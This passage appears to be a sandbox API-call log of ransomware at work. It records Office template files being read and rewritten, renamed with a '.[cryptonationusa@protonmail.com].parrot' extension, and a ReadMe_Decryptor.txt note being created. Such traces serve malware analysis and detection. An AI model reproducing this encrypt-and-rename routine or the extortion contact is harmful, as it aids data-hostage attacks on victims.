Size=0x13c) returned 0x3176300 [0178.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0178.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0178.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0178.780] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0178.780] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0178.780] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d33c8 [0178.780] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0178.780] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5cabe0 [0178.780] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0178.780] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x3198458 [0178.780] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0178.780] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0178.780] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0178.780] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0178.780] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0178.780] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0178.780] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0178.780] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x22b80d8 [0178.781] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0178.781] WriteFile (in: hFile=0x284, lpBuffer=0x22b80e0*, nNumberOfBytesToWrite=0x24a8, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x22b80e0*, lpNumberOfBytesWritten=0x18ebe4*=0x24a8, lpOverlapped=0x0) returned 1 [0178.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b80d8 | out: hHeap=0x5b0000) returned 1 [0178.785] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x249f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0178.785] CloseHandle (hObject=0x284) returned 1 [0178.785] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0178.785] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x225fe68 [0178.785] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659c90 | out: hHeap=0x5b0000) returned 1 [0178.785] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\classic.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\classic.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.800] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225fe68 | out: hHeap=0x5b0000) returned 1 [0178.800] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0178.800] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b4098 | out: hHeap=0x5b0000) returned 1 [0178.800] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c98 [0178.800] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0178.800] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0178.801] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0178.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e9d8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x284 [0178.803] GetFileType (hFile=0x284) returned 0x1 [0178.803] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0178.814] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x24f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0178.814] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.814] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.816] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.816] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x23e0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x23e0, lpOverlapped=0x0) returned 1 [0178.816] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0178.817] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0178.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0178.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0178.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0178.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0178.817] GetLastError () returned 0x0 [0178.817] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0178.817] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0178.817] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0178.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0178.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0178.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0178.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0178.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0178.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0178.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0178.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0178.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0178.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0178.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0178.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0178.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0178.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0178.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0178.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0178.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0178.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0178.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0178.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0178.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0178.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0178.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0178.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0178.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0178.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0178.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0178.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0178.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0178.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0178.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d33c8 [0178.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0178.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5cabe0 [0178.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0178.818] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x3198458 [0178.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0178.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0178.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0178.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0178.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0178.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0178.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0178.819] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x22b80d8 [0178.819] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0178.819] WriteFile (in: hFile=0x284, lpBuffer=0x22b80e0*, nNumberOfBytesToWrite=0x2508, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x22b80e0*, lpNumberOfBytesWritten=0x18ebe4*=0x2508, lpOverlapped=0x0) returned 1 [0178.823] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b80d8 | out: hHeap=0x5b0000) returned 1 [0178.823] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x24f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0178.823] CloseHandle (hObject=0x284) returned 1 [0178.823] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659c90 [0178.823] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x225fe68 [0178.823] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659c90 | out: hHeap=0x5b0000) returned 1 [0178.823] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\default.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\default.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.824] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x225fe68 | out: hHeap=0x5b0000) returned 1 [0178.824] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0178.824] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b4098 | out: hHeap=0x5b0000) returned 1 [0178.824] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c98 [0178.824] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0178.824] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0178.824] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0178.828] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x220d, nNumberOfBytesToLockHigh=0x0) returned 1 [0178.828] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.828] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.832] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.832] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20f5, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x20f5, lpOverlapped=0x0) returned 1 [0178.833] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0178.834] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0178.834] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0178.834] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0178.834] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0178.834] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0178.834] GetLastError () returned 0x0 [0178.835] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0178.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0178.835] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0178.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0178.835] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0178.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0178.835] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0178.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0178.835] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0178.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0178.835] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0178.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0178.835] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0178.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0178.835] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0178.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0178.835] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0178.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605320 [0178.835] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0178.835] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0178.835] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605320 | out: hHeap=0x5b0000) returned 1 [0178.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60ba90 [0178.836] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0178.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6586e8 [0178.836] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0178.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262060 [0178.836] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0178.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3176300 [0178.836] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262060 | out: hHeap=0x5b0000) returned 1 [0178.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x643228 [0178.836] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3176300 | out: hHeap=0x5b0000) returned 1 [0178.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x22aa070 [0178.836] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0178.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x5d33c8 [0178.836] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22aa070 | out: hHeap=0x5b0000) returned 1 [0178.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5cabe0 [0178.836] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0178.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x3198458 [0178.836] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0178.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0178.836] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0178.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cee58 [0178.836] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0178.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0178.836] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0178.836] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x22b80d8 [0178.836] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0178.836] WriteFile (in: hFile=0x284, lpBuffer=0x22b80e0*, nNumberOfBytesToWrite=0x2218, lpNumberOfBytesWritten=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x22b80e0*, lpNumberOfBytesWritten=0x18ebe4*=0x2218, lpOverlapped=0x0) returned 1 [0178.840] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b80d8 | out: hHeap=0x5b0000) returned 1 [0178.840] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x220d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0178.840] CloseHandle (hObject=0x284) returned 1 [0178.840] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0178.840] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x106) returned 0x22c82a8 [0178.840] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65b428 | out: hHeap=0x5b0000) returned 1 [0178.840] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\defaultblackandwhite.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\DefaultBlackAndWhite.dotx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\defaultblackandwhite.dotx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0178.842] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22c82a8 | out: hHeap=0x5b0000) returned 1 [0178.842] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0178.842] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b4098 | out: hHeap=0x5b0000) returned 1 [0178.842] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x3173c98 [0178.842] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x65b428 [0178.842] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0178.842] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0178.844] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2281, nNumberOfBytesToLockHigh=0x0) returned 1 [0178.844] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0178.844] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0178.846] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.846] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2169, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2169, lpOverlapped=0x0) returned 1 [0178.847] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0178.847] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0178.847] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0178.847] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0178.847] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0178.847] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0178.847] GetLastError () returned 0x0 [0178.848] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0178.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0178.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0178.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0178.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0178.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0178.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0178.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0178.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0178.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0178.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0178.848] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0178.848] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0178.848] RtlAllocateHeap 